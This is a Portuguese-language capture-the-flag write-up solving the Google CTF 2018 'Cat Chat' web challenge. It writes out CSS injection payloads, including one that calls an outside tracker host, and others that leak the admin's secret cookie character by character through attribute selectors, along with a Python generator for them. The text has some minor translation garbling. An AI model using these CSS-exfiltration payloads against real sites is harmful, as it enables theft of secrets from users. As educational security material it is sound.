Google CTF CATCHAT
Neste tutorial vou apresentar minha solução para o desafio do Google CAT CHAT GoogleCTF2018, . Todos os anos, o Google muitas vezes faz uma série de desafios emocionantes em uma variedade de tópicos, incluindo:
- CRYPTO
- MISC
- PWN
- RE
- WEB
Todo ano eu tento resolver pelo menos 1-2 desafios da web. Estes são desafios relativamente difíceis em comparação com outras competições CTF das quais participo.
O objetivo deste desafio é encontrar a senha de administrador que contém as palavras {...}CTF
Durante a competição tentei gravar um vídeo que demonstrasse meu caminho para a solução:
Após clicar no link, você acessa o 'seguinte chat:
O chat tem duas regras:
- Para acrescentar usuários no chat deve-se compartilhar o-URL
- Se alguém fala sobre cães, eles devem ser denunciados ao administrador e, em seguida, o administrador vai se conectar ao chat e irá bloquear-lo.
Além dessas regras, pode-se ver que este é um sistema open source e nos deram um link para ele.
Antes de inserir o código que recebemos, vamos executar ctrl + u e ver o código fonte do sistema:
No código-fonte, vemos outro arquivo JavaScript chamado catchat.js que examinaremos mais tarde e mais 2 instruções ocultas:
- secret/
- ban/
Vamos agora olhar para os 2 arquivos de código-fonte que recebemos:
No arquivo server.js, vemos um sistema nodejs que contém os seguintes pontos interessantes:
Neste sistema, um CSP está habilitado que permite unsafe-inline style:
O que implica que provavelmente precisaremos realizar a injeção de CSS neste desafio e, posteriormente no código, vemos uma definição fraca do switch case, que usa expressão regular para capturar as informações inseridas nele.
Em um switch case padrão, sabe-se que uma interrupção deve ser executada após cada condição, caso contrário, o código entrará em todas as outras condições ao longo do caminho. No exercício, você pode ver claramente que alguém fez isso de propósito e para que o código funcione corretamente, ele adicionou uma expressão regular.
Vemos também que há aqui a realização das quatro ações que podemos realizar no'chat:
- name/ – Modificar o nome.
- ban/ – Bloquear um usuário, pode-se ver que apenas o administrador tem essa permição
- secret/ – Alterar senha -admin
- report/ – chama o admin'ao chat para que ele possa bloquear o usuário falando sobre cachorros
No arquivo catchat.js, vemos a seguinte seção:
Você pode ver que o nome de usuário que será bloqueado será colorido em vermelho e podemos controlar o nome de usuário usando o comando /name Então podemos fazer aqui. CSS Injection.
Além disso, vemos que temos o daestá-secret chamado apenas ao alterar uma senha do admin, portanto, teremos que alterar a senha para admin sem substituir o sinalizador, irei mostrar como fazer isso mais tarde.
Mais tarde no arquivo vemos a seguinte função:
Pode-se ver que esta função executa o bloqueio por nome e se encaixará em nossa estrutura de switch case:
Na estrutura, pode-se observar que eles colocaram intencionalmente o /ban acima /secret Então podemos encadear o comando /secret Caso contrário, se estivesse ao contrário não seríamos capazes de encadear e, portanto, também não está escrito break, para que o encadeamento funcione.
Portanto, o exercício contém muitas dicas de como resolver o desafio, já aqui está bastante claro que preciso alterar a senha do administrador usando injeção de css através do meu nome de usuário.
Depois de entender como o sistema funciona, examinaremos a funcionalidade, abrindo outra janela usando Incognito
E escrevemos Hi, e executar o comando /report Então escrevemos a palavra "cachorro" para que o administrador me bloqueie..
Vamos agora liberar o bloqueio, excluindo o cookie banned e continuar o desafio:
Tentaremos mudar nosso nome de usuário para o seguinte código:
/name x]{background:url(https://gmailtracker.com/a.jpg?a);}[
Que será lançado no próximo comando:
display(
${esc(data.name)} was banned.>style>span[data-name^=${esc(data.name)}] { color: red; }>/style>);
assim:
>style>span[data-name^= x]{background:url(https://gmailtracker.com/a.jpg?a);}[] { color: red; }>/style>
Faremos com que o administrador nos bloqueie e parece que o CSP bloqueou o envio do pacote para o nosso domínio:
Portanto, não podemos obter as informações do sistema por causa do CSP, então ainda tentaremos encontrar uma maneira de obter as informações, mas deixá-las dentro do sistema.
Eu examinei o pacote de mensagens na guia Rede e vi que ele contém uma estrutura simples que é fácil de restaurar:
Então mudei a injeção para o seguinte código:
/name x]{background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=x&msg=test);}[
E o resultado foi:
A mensagem foi impressa duas vezes porque a primeira vez foi impressa da conta do administrador e a segunda vez da segunda conta do modo anônimo, então você pode ver que também posso controlar a janela do administrador que fez login no chat chat.
Agora vamos verificar se o administrador tem a palavra }CTF Na conta como foi escrita na descrição do desafio usando o seguinte código:
/name x]{background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=x&msg=/secret x; Domain=itscyber.com.br);}span[data-secret^=CTF\{] {background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=admin&msg=CTF%7b);}[
Vou dividir o código em 2 etapas:
A primeira parte :
x]{background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=x&msg=/secret x; Domain=itscyber.com.br);}
Envia uma mensagem no 'chat com a palavra /secret x; domain=itscyber.com.br O que fará com que o administrador defina a flag e leia o código:
display(
Successfully changed secret to >span data-secret="${esc(cookie('flag'))}">*****>/span>);
E uma vez que definimos o cookie em outro domínio, o navegador não aceitará a referência e não alterará o cookie, então o conteúdo do cookie original será mantido, que é na verdade o FLAG de que precisamos.
A segunda parte do código:
span[data-secret^=CTF\{] {background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=admin&msg=CTF%7b);}[
Executa um teste CSS, se houver um elemento span na página que contém o atributo data-secret cujo conteúdo começa com uma palavra }CTF Então enviar uma nova mensagem, então eu também fiz uma URL encode porque ela vai passar pela URL com a palavra }CTF
que será assim:
Um sinal de que a informação existe, vamos agora extrair o resto dos caracteres usando o seguinte código python:
`import string
ret = ""
for c in string.ascii_letters+string.digits:
ret+="span[data-secret^=CTF{"+c+"] {background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=admin&msg=CTF%7b"+c+");}"
print ret
`
Este código basicamente imprime todas as opções de letras que podem estar no FLAG e se existir alguma letra, nossas condições CSS serão executadas e a mensagem será enviada para'o chat com a letra:
Foi assim que obtivemos o caractere L e, portanto, a bandeira começa com-
CTF{L
Continuaremos assim até extrair todos os-Flag:
Até conseguirmos:
CTF{L0LC47S_43V3R}
Neste desafio, você aprende que a injeção de código não precisa ser em JavaScript e às vezes CSS é simplesmente mais do que suficiente.